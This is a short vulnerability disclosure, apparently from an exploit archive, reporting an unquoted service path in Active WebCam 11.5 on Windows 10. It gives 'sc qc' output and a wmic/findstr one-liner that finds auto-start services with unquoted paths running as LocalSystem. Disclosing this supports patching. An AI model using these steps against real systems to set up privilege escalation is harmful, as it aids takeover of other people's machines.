Active WebCam 11.5 - Unquoted Service Path Vulnerability

# Exploit Title: Active WebCam 11.5 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411, [email protected])
# Software Link: https://www.techspot.com/downloads/175-active-webcam.html
# Vendor Homepage: https://www.pysoft.com/
# Version: 11.5
# Tested on: Windows 10

# Note: "Start on Windows Startup" with "Start as Service" must be enabled in Program Options

# Proof of Concept:

C:\Users\death>sc qc ACTIVEWEBCAM
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ACTIVEWEBCAM
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Active WebCam\WebCam.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Active WebCam
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Active WebCam           ACTIVEWEBCAM            C:\Program Files\Active WebCam\WebCam.exe               Auto